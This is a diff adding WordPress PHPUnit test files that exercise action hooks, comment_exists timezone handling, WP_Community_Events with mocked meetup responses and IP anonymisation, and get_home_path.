+		do_action( $tag, $tag );
+
+		$this->assertEquals( 2, $a->get_call_count(), 'recursive actions should call all callbacks with earlier priority' );
+		$this->assertEquals( 2, $b->get_call_count(), 'recursive actions should call callbacks with later priority' );
+	}
+
+	function action_that_causes_recursion( $tag ) {
+		static $recursing = false;
+		if ( ! $recursing ) {
+			$recursing = true;
+			do_action( $tag, $tag );
+		}
+		$recursing = false;
+	}
+
+	/**
+	 * @ticket 9968
+	 * @ticket 17817
+	 */
+	function test_action_callback_manipulation_while_running() {
+		$tag = __FUNCTION__;
+		$a = new MockAction();
+		$b = new MockAction();
+		$c = new MockAction();
+		$d = new MockAction();
+		$e = new MockAction();
+
+		add_action( $tag, array( $a, 'action' ), 11, 2 );
+		add_action( $tag, array( $this, 'action_that_manipulates_a_running_hook' ), 12, 2 );
+		add_action( $tag, array( $b, 'action' ), 12, 2 );
+
+		do_action( $tag, $tag, array( $a, $b, $c, $d, $e ) );
+		do_action( $tag, $tag, array( $a, $b, $c, $d, $e ) );
+
+		$this->assertEquals( 2, $a->get_call_count(), 'callbacks should run unless otherwise instructed' );
+		$this->assertEquals( 1, $b->get_call_count(), 'callback removed by same priority callback should still get called' );
+		$this->assertEquals( 1, $c->get_call_count(), 'callback added by same priority callback should not get called' );
+		$this->assertEquals( 2, $d->get_call_count(), 'callback added by earlier priority callback should get called' );
+		$this->assertEquals( 1, $e->get_call_count(), 'callback added by later priority callback should not get called' );
+	}
+
+	function action_that_manipulates_a_running_hook( $tag, $mocks ) {
+		remove_action( $tag, array( $mocks[ 1 ], 'action' ), 12, 2 );
+		add_action( $tag, array( $mocks[ 2 ], 'action' ), 12, 2 );
+		add_action( $tag, array( $mocks[ 3 ], 'action' ), 13, 2 );
+		add_action( $tag, array( $mocks[ 4 ], 'action' ), 10, 2 );
+	}
+
+	/**
+	 * @ticket 17817
+	 *
+	 * This specificaly addresses the concern raised at
+	 * https://core.trac.wordpress.org/ticket/17817#comment:52
+	 */
+	function test_remove_anonymous_callback() {
+		$tag = __FUNCTION__;
+		$a = new MockAction();
+		add_action( $tag, array( $a, 'action' ), 12, 1 );
+		$this->assertTrue( has_action( $tag ) );
+
+		$hook = $GLOBALS['wp_filter'][ $tag ];
+
+		// From http://wordpress.stackexchange.com/a/57088/6445
+		foreach ( $hook as $priority => $filter ) {
+			foreach ( $filter as $identifier => $function ) {
+				if ( is_array( $function )
+					&& is_a( $function['function'][ 0 ], 'MockAction' )
+					&& 'action' === $function['function'][ 1 ]
+				) {
+					remove_filter(
+						$tag,
+						array( $function['function'][ 0 ], 'action' ),
+						$priority
+					);
+				}
+			}
+		}
+
+		$this->assertFalse( has_action( $tag ) );
+	}
+
+
+	/**
+	 * Test the ArrayAccess methods of WP_Hook
+	 *
+	 * @ticket 17817
+	 */
+	function test_array_access_of_wp_filter_global() {
+		global $wp_filter;
+		$tag = __FUNCTION__;
+
+		add_action( $tag, '__return_null', 11, 1 );
+
+		$this->assertTrue( isset( $wp_filter[ $tag ][ 11 ] ) );
+		$this->assertArrayHasKey( '__return_null', $wp_filter[ $tag ][ 11 ] );
+
+		unset( $wp_filter[ $tag ][ 11 ] );
+		$this->assertFalse( has_action( $tag, '__return_null' ) );
+
+		$wp_filter[ $tag ][ 11 ] = array( '__return_null' => array( 'function' => '__return_null', 'accepted_args' => 1 ) );
+		$this->assertEquals( 11, has_action( $tag, '__return_null' ) );
+	}
+
+	/**
+	 * Make sure current_action() behaves as current_filter()
+	 *
+	 * @ticket 14994
+	 */
+	function test_current_action() {
+		global $wp_current_filter;
+		$wp_current_filter[] = 'first';
+		$wp_current_filter[] = 'second'; // Let's say a second action was invoked.
+
+		$this->assertEquals( 'second', current_action() );
+	}
+
+	/**
+	 * @ticket 14994
+	 */
+	function test_doing_filter() {
+		global $wp_current_filter;
+		$wp_current_filter = array(); // Set to an empty array first
+
+		$this->assertFalse( doing_filter() ); // No filter is passed in, and no filter is being processed
+		$this->assertFalse( doing_filter( 'testing' ) ); // Filter is passed in but not being processed
+
+		$wp_current_filter[] = 'testing';
+
+		$this->assertTrue( doing_filter() ); // No action is passed in, and a filter is being processed
+		$this->assertTrue( doing_filter( 'testing') ); // Filter is passed in and is being processed
+		$this->assertFalse( doing_filter( 'something_else' ) ); // Filter is passed in but not being processed
+
+		$wp_current_filter = array();
+	}
+
+	/**
+	 * @ticket 14994
+	 */
+	function test_doing_action() {
+		global $wp_current_filter;
+		$wp_current_filter = array(); // Set to an empty array first
+
+		$this->assertFalse( doing_action() ); // No action is passed in, and no filter is being processed
+		$this->assertFalse( doing_action( 'testing' ) ); // Action is passed in but not being processed
+
+		$wp_current_filter[] = 'testing';
+
+		$this->assertTrue( doing_action() ); // No action is passed in, and a filter is being processed
+		$this->assertTrue( doing_action( 'testing') ); // Action is passed in and is being processed
+		$this->assertFalse( doing_action( 'something_else' ) ); // Action is passed in but not being processed
+
+		$wp_current_filter = array();
+	}
+
+	/**
+	 * @ticket 14994
+	 */
+	function test_doing_filter_real() {
+		$this->assertFalse( doing_filter() ); // No filter is passed in, and no filter is being processed
+		$this->assertFalse( doing_filter( 'testing' ) ); // Filter is passed in but not being processed
+
+		add_filter( 'testing', array( $this, 'apply_testing_filter' ) );
+		$this->assertTrue( has_action( 'testing' ) );
+		$this->assertEquals( 10, has_action( 'testing', array( $this, 'apply_testing_filter' ) ) );
+
+		apply_filters( 'testing', '' );
+
+		// Make sure it ran.
+		$this->assertTrue( $this->apply_testing_filter );
+
+		$this->assertFalse( doing_filter() ); // No longer doing any filters
+		$this->assertFalse( doing_filter( 'testing' ) ); // No longer doing this filter
+	}
+
+	function apply_testing_filter() {
+		$this->apply_testing_filter = true;
+
+		$this->assertTrue( doing_filter() );
+		$this->assertTrue( doing_filter( 'testing' ) );
+		$this->assertFalse( doing_filter( 'something_else' ) );
+		$this->assertFalse( doing_filter( 'testing_nested' ) );
+
+		add_filter( 'testing_nested', array( $this, 'apply_testing_nested_filter' ) );
+		$this->assertTrue( has_action( 'testing_nested' ) );
+		$this->assertEquals( 10, has_action( 'testing_nested', array( $this, 'apply_testing_nested_filter' ) ) );
+
+		apply_filters( 'testing_nested', '' );
+
+		// Make sure it ran.
+		$this->assertTrue( $this->apply_testing_nested_filter );
+
+		$this->assertFalse( doing_filter( 'testing_nested' ) );
+		$this->assertFalse( doing_filter( 'testing_nested' ) );
+	}
+
+	function apply_testing_nested_filter() {
+		$this->apply_testing_nested_filter = true;
+		$this->assertTrue( doing_filter() );
+		$this->assertTrue( doing_filter( 'testing' ) );
+		$this->assertTrue( doing_filter( 'testing_nested' ) );
+		$this->assertFalse( doing_filter( 'something_else' ) );
+	}
+
+	/**
+	 * @ticket 10441
+	 * @expectedDeprecated tests_do_action_deprecated
+	 */
+	public function test_do_action_deprecated() {
+		$p = new WP_Post( (object) array( 'post_title' => 'Foo' ) );
+
+		add_action( 'tests_do_action_deprecated', array( __CLASS__, 'deprecated_action_callback' ) );
+		do_action_deprecated( 'tests_do_action_deprecated', array( $p ), '4.6' );
+		remove_action( 'tests_do_action_deprecated', array( __CLASS__, 'deprecated_action_callback' ) );
+
+		$this->assertSame( 'Bar', $p->post_title );
+	}
+
+	public static function deprecated_action_callback( $p ) {
+		$p->post_title = 'Bar';
+	}
+
+	/**
+	 * @ticket 10441
+	 * @expectedDeprecated tests_do_action_deprecated
+	 */
+	public function test_do_action_deprecated_with_multiple_params() {
+		$p1 = new WP_Post( (object) array( 'post_title' => 'Foo1' ) );
+		$p2 = new WP_Post( (object) array( 'post_title' => 'Foo2' ) );
+
+		add_action( 'tests_do_action_deprecated', array( __CLASS__, 'deprecated_action_callback_multiple_params' ), 10, 2 );
+		do_action_deprecated( 'tests_do_action_deprecated', array( $p1, $p2 ), '4.6' );
+		remove_action( 'tests_do_action_deprecated', array( __CLASS__, 'deprecated_action_callback_multiple_params' ), 10, 2 );
+
+		$this->assertSame( 'Bar1', $p1->post_title );
+		$this->assertSame( 'Bar2', $p2->post_title );
+	}
+
+	public static function deprecated_action_callback_multiple_params( $p1, $p2 ) {
+		$p1->post_title = 'Bar1';
+		$p2->post_title = 'Bar2';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/actions/callbacks.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/actions/callbacks.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/actions/callbacks.php	(revision 56912)
@@ -0,0 +1,22 @@
+<?php
+
+/**
+ * @group hooks
+ */
+class Tests_Actions_Callbacks extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 23265
+	 */
+	function test_callback_representations() {
+		$tag = __FUNCTION__;
+
+		$this->assertFalse( has_action( $tag ) );
+
+		add_action( $tag, array( 'Class', 'method' ) );
+
+		$this->assertEquals( 10, has_action( $tag, array( 'Class', 'method' ) ) );
+
+		$this->assertEquals( 10, has_action( $tag, 'Class::method' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/actions/closures.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/actions/closures.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/actions/closures.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * Test do_action() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Actions_Closures extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 10493
+	 */
+	function test_action_closure() {
+		$tag = 'test_action_closure';
+		$closure = function($a, $b) { $GLOBALS[$a] = $b;};
+		add_action($tag, $closure, 10, 2);
+
+		$this->assertSame( 10, has_action($tag, $closure) );
+
+		$context = array( 'val1', 'val2' );
+		do_action($tag, $context[0], $context[1]);
+
+		$this->assertSame($GLOBALS[$context[0]], $context[1]);
+
+		$tag2 = 'test_action_closure_2';
+		$closure2 = function() { $GLOBALS['closure_no_args'] = true;};
+		add_action($tag2, $closure2);
+
+		$this->assertSame( 10, has_action($tag2, $closure2) );
+
+		do_action($tag2);
+
+		$this->assertTrue($GLOBALS['closure_no_args']);
+
+		remove_action( $tag, $closure );
+		remove_action( $tag2, $closure2 );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesComment.php	(revision 56912)
@@ -0,0 +1,79 @@
+<?php
+
+/**
+ * @group admin
+ * @group comment
+ */
+class Tests_Admin_IncludesComment extends WP_UnitTestCase {
+	/**
+	 * Post ID to add comments to.
+	 *
+	 * @var int
+	 */
+	public static $post_id;
+
+	/**
+	 * Comment IDs.
+	 *
+	 * @var array
+	 */
+	public static $comment_ids = array();
+
+	/**
+	 * Create the post and comments for the tests.
+	 *
+	 * @param WP_UnitTest_Factory $factory
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$post_id = $factory->post->create();
+
+		self::$comment_ids[] = $factory->comment->create( array(
+			'comment_author'   => 1,
+			'comment_date'     => '2014-05-06 12:00:00',
+			'comment_date_gmt' => '2014-05-06 07:00:00',
+			'comment_post_ID'  => self::$post_id,
+		) );
+
+		self::$comment_ids[] = $factory->comment->create( array(
+			'comment_author'  => 2,
+			'comment_date'    => '2004-01-02 12:00:00',
+			'comment_post_ID' => self::$post_id,
+		) );
+	}
+
+	/**
+	 * Verify that both the comment date and author must match for a comment to exist.
+	 */
+	public function test_must_match_date_and_author() {
+		$this->assertNull( comment_exists( 1, '2004-01-02 12:00:00' ) );
+		$this->assertEquals( self::$post_id, comment_exists( 1, '2014-05-06 12:00:00' ) );
+	}
+
+	/**
+	 * @ticket 33871
+	 */
+	public function test_default_value_of_timezone_should_be_blog() {
+		$this->assertEquals( self::$post_id, comment_exists( 1, '2014-05-06 12:00:00' ) );
+	}
+
+	/**
+	 * @ticket 33871
+	 */
+	public function test_should_respect_timezone_blog() {
+		$this->assertEquals( self::$post_id, comment_exists( 1, '2014-05-06 12:00:00', 'blog' ) );
+	}
+
+	/**
+	 * @ticket 33871
+	 */
+	public function test_should_respect_timezone_gmt() {
+		$this->assertEquals( self::$post_id, comment_exists( 1, '2014-05-06 07:00:00', 'gmt' ) );
+	}
+
+	/**
+	 * @ticket 33871
+	 */
+	public function test_invalid_timezone_should_fall_back_on_blog() {
+		$this->assertEquals( self::$post_id, comment_exists( 1, '2014-05-06 12:00:00', 'not_a_valid_value' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesCommunityEvents.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesCommunityEvents.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesCommunityEvents.php	(revision 56912)
@@ -0,0 +1,524 @@
+<?php
+/**
+ * Unit tests for methods in WP_Community_Events.
+ *
+ * @package WordPress
+ * @subpackage UnitTests
+ * @since 4.8.0
+ */
+
+/**
+ * Class Test_WP_Community_Events.
+ *
+ * @group admin
+ * @group community-events
+ *
+ * @since 4.8.0
+ */
+class Test_WP_Community_Events extends WP_UnitTestCase {
+	/**
+	 * An instance of the class to test.
+	 *
+	 * @access private
+	 * @since 4.8.0
+	 *
+	 * @var WP_Community_Events
+	 */
+	private $instance;
+
+	/**
+	 * Performs setup tasks for every test.
+	 *
+	 * @since 4.8.0
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		require_once( ABSPATH . 'wp-admin/includes/class-wp-community-events.php' );
+
+		$this->instance = new WP_Community_Events( 1, $this->get_user_location() );
+	}
+
+	/**
+	 * Simulates a stored user location.
+	 *
+	 * @access private
+	 * @since 4.8.0
+	 *
+	 * @return array The mock location.
+	 */
+	private function get_user_location() {
+		return array(
+			'description' => 'San Francisco',
+			'latitude'    => '37.7749300',
+			'longitude'   => '-122.4194200',
+			'country'     => 'US',
+		);
+	}
+
+	/**
+	 * Test: get_events() should return an instance of WP_Error if the response code is not 200.
+	 *
+	 * @since 4.8.0
+	 */
+	public function test_get_events_bad_response_code() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_bad_response_code' ) );
+
+		$this->assertWPError( $this->instance->get_events() );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_bad_response_code' ) );
+	}
+
+	/**
+	 * Test: The response body should not be cached if the response code is not 200.
+	 *
+	 * @since 4.8.0
+	 */
+	public function test_get_cached_events_bad_response_code() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_bad_response_code' ) );
+
+		$this->instance->get_events();
+
+		$this->assertFalse( $this->instance->get_cached_events() );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_bad_response_code' ) );
+	}
+
+	/**
+	 * Simulates an HTTP response with a non-200 response code.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @return array A mock response with a 404 HTTP status code
+	 */
+	public function _http_request_bad_response_code() {
+		return array(
+			'headers'  => '',
+			'body'     => '',
+			'response' => array(
+				'code' => 404,
+			),
+			'cookies'  => '',
+			'filename' => '',
+		);
+	}
+
+	/**
+	 * Test: get_events() should return an instance of WP_Error if the response body does not have
+	 * the required properties.
+	 *
+	 * @since 4.8.0
+	 */
+	public function test_get_events_invalid_response() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_invalid_response' ) );
+
+		$this->assertWPError( $this->instance->get_events() );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_invalid_response' ) );
+	}
+
+	/**
+	 * Test: The response body should not be cached if it does not have the required properties.
+	 *
+	 * @since 4.8.0
+	 */
+	public function test_get_cached_events_invalid_response() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_invalid_response' ) );
+
+		$this->instance->get_events();
+
+		$this->assertFalse( $this->instance->get_cached_events() );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_invalid_response' ) );
+	}
+
+	/**
+	 * Simulates an HTTP response with a body that does not have the required properties.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @return array A mock response that's missing required properties.
+	 */
+	public function _http_request_invalid_response() {
+		return array(
+			'headers'  => '',
+			'body'     => wp_json_encode( array() ),
+			'response' => array(
+				'code' => 200,
+			),
+			'cookies'  => '',
+			'filename' => '',
+		);
+	}
+
+	/**
+	 * Test: With a valid response, get_events() should return an associated array containing a location array and
+	 * an events array with individual events that have formatted time and date.
+	 *
+	 * @since 4.8.0
+	 */
+	public function test_get_events_valid_response() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_valid_response' ) );
+
+		$response = $this->instance->get_events();
+
+		$this->assertNotWPError( $response );
+		$this->assertEqualSetsWithIndex( $this->get_user_location(), $response['location'] );
+		$this->assertEquals( date( 'l, M j, Y', strtotime( 'next Sunday 1pm' ) ), $response['events'][0]['formatted_date'] );
+		$this->assertEquals( '1:00 pm', $response['events'][0]['formatted_time'] );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_valid_response' ) );
+	}
+
+	/**
+	 * Test: get_cached_events() should return the same data as get_events(), including formatted time
+	 * and date values for each event.
+	 *
+	 * @since 4.8.0
+	 */
+	public function test_get_cached_events_valid_response() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_valid_response' ) );
+
+		$this->instance->get_events();
+
+		$cached_events = $this->instance->get_cached_events();
+
+		$this->assertNotWPError( $cached_events );
+		$this->assertEqualSetsWithIndex( $this->get_user_location(), $cached_events['location'] );
+		$this->assertEquals( date( 'l, M j, Y', strtotime( 'next Sunday 1pm' ) ), $cached_events['events'][0]['formatted_date'] );
+		$this->assertEquals( '1:00 pm', $cached_events['events'][0]['formatted_time'] );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_valid_response' ) );
+	}
+
+	/**
+	 * Simulates an HTTP response with valid location and event data.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @return array A mock HTTP response with valid data.
+	 */
+	public function _http_request_valid_response() {
+		return array(
+			'headers'  => '',
+			'body'     => wp_json_encode( array(
+				'location' => $this->get_user_location(),
+				'events'   => array(
+					array(
+						'type'           => 'meetup',
+						'title'          => 'Flexbox + CSS Grid: Magic for Responsive Layouts',
+						'url'            => 'https://www.meetup.com/Eastbay-WordPress-Meetup/events/236031233/',
+						'meetup'         => 'The East Bay WordPress Meetup Group',
+						'meetup_url'     => 'https://www.meetup.com/Eastbay-WordPress-Meetup/',
+						'date'           => date( 'Y-m-d H:i:s', strtotime( 'next Sunday 1pm' ) ),
+						'location'       => array(
+							'location'  => 'Oakland, CA, USA',
+							'country'   => 'us',
+							'latitude'  => 37.808453,
+							'longitude' => -122.26593,
+						),
+					),
+					array(
+						'type'           => 'meetup',
+						'title'          => 'Part 3- Site Maintenance - Tools to Make It Easy',
+						'url'            => 'https://www.meetup.com/Wordpress-Bay-Area-CA-Foothills/events/237706839/',
+						'meetup'         => 'WordPress Bay Area Foothills Group',
+						'meetup_url'     => 'https://www.meetup.com/Wordpress-Bay-Area-CA-Foothills/',
+						'date'           => date( 'Y-m-d H:i:s', strtotime( 'next Wednesday 1:30pm' ) ),
+						'location'       => array(
+							'location'  => 'Milpitas, CA, USA',
+							'country'   => 'us',
+							'latitude'  => 37.432813,
+							'longitude' => -121.907095,
+						),
+					),
+					array(
+						'type'           => 'wordcamp',
+						'title'          => 'WordCamp Kansas City',
+						'url'            => 'https://2017.kansascity.wordcamp.org',
+						'meetup'         => null,
+						'meetup_url'     => null,
+						'date'           => date( 'Y-m-d H:i:s', strtotime( 'next Saturday' ) ),
+						'location'       => array(
+							'location'  => 'Kansas City, MO',
+							'country'   => 'US',
+							'latitude'  => 39.0392325,
+							'longitude' => -94.577076,
+						),
+					),
+				),
+			) ),
+			'response' => array(
+				'code' => 200,
+			),
+			'cookies'  => '',
+			'filename' => '',
+		);
+	}
+
+	/**
+	 * Test: get_events() should return the events with the WordCamp pinned in the prepared list.
+	 *
+	 * @since 4.9.7
+	 */
+	public function test_get_events_pin_wordcamp() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_valid_response_unpinned_wordcamp' ) );
+
+		$response_body = $this->instance->get_events();
+
+		/*
+		 * San Diego was at position 3 in the mock API response, but pinning puts it at position 2,
+		 * so that it remains in the list. The other events should remain unchanged.
+		 */
+		$this->assertCount( 3, $response_body['events'] );
+		$this->assertEquals( $response_body['events'][0]['title'], 'Flexbox + CSS Grid: Magic for Responsive Layouts' );
+		$this->assertEquals( $response_body['events'][1]['title'], 'Part 3- Site Maintenance - Tools to Make It Easy' );
+		$this->assertEquals( $response_body['events'][2]['title'], 'WordCamp San Diego' );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_valid_response_unpinned_wordcamp' ) );
+	}
+
+	/**
+	 * Simulates a valid HTTP response where a WordCamp needs to be pinned higher than it's default position.
+	 *
+	 * @since 4.9.7
+	 *
+	 * @return array A mock HTTP response.
+	 */
+	public function _http_request_valid_response_unpinned_wordcamp() {
+		return array(
+			'headers'  => '',
+			'response' => array( 'code' => 200 ),
+			'cookies'  => '',
+			'filename' => '',
+			'body'     => wp_json_encode(
+				array(
+					'location' => $this->get_user_location(),
+					'events'   => array(
+						array(
+							'type'       => 'meetup',
+							'title'      => 'Flexbox + CSS Grid: Magic for Responsive Layouts',
+							'url'        => 'https://www.meetup.com/Eastbay-WordPress-Meetup/events/236031233/',
+							'meetup'     => 'The East Bay WordPress Meetup Group',
+							'meetup_url' => 'https://www.meetup.com/Eastbay-WordPress-Meetup/',
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Monday 1pm' ) ),
+							'location'   => array(
+								'location'  => 'Oakland, CA, USA',
+								'country'   => 'us',
+								'latitude'  => 37.808453,
+								'longitude' => -122.26593,
+							),
+						),
+						array(
+							'type'       => 'meetup',
+							'title'      => 'Part 3- Site Maintenance - Tools to Make It Easy',
+							'url'        => 'https://www.meetup.com/Wordpress-Bay-Area-CA-Foothills/events/237706839/',
+							'meetup'     => 'WordPress Bay Area Foothills Group',
+							'meetup_url' => 'https://www.meetup.com/Wordpress-Bay-Area-CA-Foothills/',
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Tuesday 1:30pm' ) ),
+							'location'   => array(
+								'location'  => 'Milpitas, CA, USA',
+								'country'   => 'us',
+								'latitude'  => 37.432813,
+								'longitude' => -121.907095,
+							),
+						),
+						array(
+							'type'       => 'meetup',
+							'title'      => 'WordPress Q&A',
+							'url'        => 'https://www.meetup.com/sanjosewp/events/245419844/',
+							'meetup'     => 'The San Jose WordPress Meetup',
+							'meetup_url' => 'https://www.meetup.com/sanjosewp/',
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Wednesday 5:30pm' ) ),
+							'location'   => array(
+								'location'  => 'Milpitas, CA, USA',
+								'country'   => 'us',
+								'latitude'  => 37.244194,
+								'longitude' => -121.889313,
+							),
+						),
+						array(
+							'type'       => 'wordcamp',
+							'title'      => 'WordCamp San Diego',
+							'url'        => 'https://2018.sandiego.wordcamp.org',
+							'meetup'     => null,
+							'meetup_url' => null,
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Thursday 9am' ) ),
+							'location'   => array(
+								'location'  => 'San Diego, CA',
+								'country'   => 'US',
+								'latitude'  => 32.7220419,
+								'longitude' => -117.1534513,
+							),
+						),
+					),
+				)
+			),
+		);
+	}
+
+	/**
+	 * Test: get_events() shouldn't stick an extra WordCamp when there's already one that naturally
+	 * falls into the list.
+	 *
+	 * @since 4.9.7
+	 */
+	public function test_get_events_dont_pin_multiple_wordcamps() {
+		add_filter( 'pre_http_request', array( $this, '_http_request_valid_response_multiple_wordcamps' ) );
+
+		$response_body = $this->instance->get_events();
+
+		/*
+		 * The first meetup should be removed because it's expired, while the next 3 events are selected.
+		 * WordCamp LA should not be stuck to the list, because San Diego already appears naturally.
+		 */
+		$this->assertCount( 3, $response_body['events'] );
+		$this->assertEquals( $response_body['events'][0]['title'], 'WordCamp San Diego' );
+		$this->assertEquals( $response_body['events'][1]['title'], 'Part 3- Site Maintenance - Tools to Make It Easy' );
+		$this->assertEquals( $response_body['events'][2]['title'], 'WordPress Q&A' );
+
+		remove_filter( 'pre_http_request', array( $this, '_http_request_valid_response_multiple_wordcamps' ) );
+	}
+
+	/**
+	 * Simulates a valid HTTP response where a WordCamp needs to be pinned higher than it's default position.
+	 * no need to pin extra camp b/c one already exists in response
+	 *
+	 * @since 4.9.7
+	 *
+	 * @return array A mock HTTP response.
+	 */
+	public function _http_request_valid_response_multiple_wordcamps() {
+		return array(
+			'headers'  => '',
+			'response' => array( 'code' => 200 ),
+			'cookies'  => '',
+			'filename' => '',
+			'body'     => wp_json_encode(
+				array(
+					'location' => $this->get_user_location(),
+					'events'   => array(
+						array(
+							'type'       => 'meetup',
+							'title'      => 'Flexbox + CSS Grid: Magic for Responsive Layouts',
+							'url'        => 'https://www.meetup.com/Eastbay-WordPress-Meetup/events/236031233/',
+							'meetup'     => 'The East Bay WordPress Meetup Group',
+							'meetup_url' => 'https://www.meetup.com/Eastbay-WordPress-Meetup/',
+							'date'       => date( 'Y-m-d H:i:s', strtotime( '2 days ago' ) ),
+							'location'   => array(
+								'location'  => 'Oakland, CA, USA',
+								'country'   => 'us',
+								'latitude'  => 37.808453,
+								'longitude' => -122.26593,
+							),
+						),
+						array(
+							'type'       => 'wordcamp',
+							'title'      => 'WordCamp San Diego',
+							'url'        => 'https://2018.sandiego.wordcamp.org',
+							'meetup'     => null,
+							'meetup_url' => null,
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Tuesday 9am' ) ),
+							'location'   => array(
+								'location'  => 'San Diego, CA',
+								'country'   => 'US',
+								'latitude'  => 32.7220419,
+								'longitude' => -117.1534513,
+							),
+						),
+						array(
+							'type'       => 'meetup',
+							'title'      => 'Part 3- Site Maintenance - Tools to Make It Easy',
+							'url'        => 'https://www.meetup.com/Wordpress-Bay-Area-CA-Foothills/events/237706839/',
+							'meetup'     => 'WordPress Bay Area Foothills Group',
+							'meetup_url' => 'https://www.meetup.com/Wordpress-Bay-Area-CA-Foothills/',
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Wednesday 1:30pm' ) ),
+							'location'   => array(
+								'location'  => 'Milpitas, CA, USA',
+								'country'   => 'us',
+								'latitude'  => 37.432813,
+								'longitude' => -121.907095,
+							),
+						),
+						array(
+							'type'       => 'meetup',
+							'title'      => 'WordPress Q&A',
+							'url'        => 'https://www.meetup.com/sanjosewp/events/245419844/',
+							'meetup'     => 'The San Jose WordPress Meetup',
+							'meetup_url' => 'https://www.meetup.com/sanjosewp/',
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Thursday 5:30pm' ) ),
+							'location'   => array(
+								'location'  => 'Milpitas, CA, USA',
+								'country'   => 'us',
+								'latitude'  => 37.244194,
+								'longitude' => -121.889313,
+							),
+						),
+						array(
+							'type'       => 'wordcamp',
+							'title'      => 'WordCamp Los Angeles',
+							'url'        => 'https://2018.la.wordcamp.org',
+							'meetup'     => null,
+							'meetup_url' => null,
+							'date'       => date( 'Y-m-d H:i:s', strtotime( 'next Friday 9am' ) ),
+							'location'   => array(
+								'location'  => 'Los Angeles, CA',
+								'country'   => 'US',
+								'latitude'  => 34.050888,
+								'longitude' => -118.285426,
+							),
+						),
+					),
+				)
+			),
+		);
+	}
+
+	/**
+	 * Test that get_unsafe_client_ip() properly anonymizes all possible address formats
+	 *
+	 * @dataProvider data_get_unsafe_client_ip
+	 *
+	 * @ticket 41083
+	 */
+	public function test_get_unsafe_client_ip( $raw_ip, $expected_result ) {
+		$_SERVER['REMOTE_ADDR']    = 'this should not be used';
+		$_SERVER['HTTP_CLIENT_IP'] = $raw_ip;
+		$actual_result             = WP_Community_Events::get_unsafe_client_ip();
+
+		$this->assertEquals( $expected_result, $actual_result );
+	}
+
+	/**
+	 * Provide test cases for `test_get_unsafe_client_ip()`.
+	 *
+	 * @return array
+	 */
+	public function data_get_unsafe_client_ip() {
+		return array(
+			// Handle '::' returned from `wp_privacy_anonymize_ip()`.
+			array(
+				'or=\"[1000:0000:0000:0000:0000:0000:0000:0001',
+				false,
+			),
+
+			// Handle '0.0.0.0' returned from `wp_privacy_anonymize_ip()`.
+			array(
+				'unknown',
+				false,
+			),
+
+			// Valid IPv4.
+			array(
+				'198.143.164.252',
+				'198.143.164.0',
+			),
+
+			// Valid IPv6.
+			array(
+				'2a03:2880:2110:df07:face:b00c::1',
+				'2a03:2880:2110:df07::',
+			),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesFile.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesFile.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesFile.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+
+/**
+ * @group file
+ * @group admin
+ */
+class Tests_Admin_includesFile extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 20449
+	 */
+	function test_get_home_path() {
+		$home = get_option( 'home' );
+		$siteurl = get_option( 'siteurl' );
+		$sfn = $_SERVER['SCRIPT_FILENAME'];
+		$this->assertEquals( str_replace( '\\', '/', ABSPATH ), get_home_path() );
+
+		update_option( 'home', 'http://localhost' );
+		update_option( 'siteurl', 'http://localhost/wp' );
+
+		$_SERVER['SCRIPT_FILENAME'] = 'D:\root\vhosts\site\httpdocs\wp\wp-admin\options-permalink.php';
+		$this->assertEquals( 'D:/root/vhosts/site/httpdocs/', get_home_path() );
+
+		$_SERVER['SCRIPT_FILENAME'] = '/Users/foo/public_html/trunk/wp/wp-admin/options-permalink.php';
+		$this->assertEquals( '/Users/foo/public_html/trunk/', get_home_path() );
+
+		$_SERVER['SCRIPT_FILENAME'] = 'S:/home/wordpress/trunk/wp/wp-admin/options-permalink.php';
+		$this->assertEquals( 'S:/home/wordpress/trunk/', get_home_path() );
+
+		update_option( 'home', $home );
+		update_option( 'siteurl', $siteurl );
+		$_SERVER['SCRIPT_FILENAME'] = $sfn;
+	}
+}
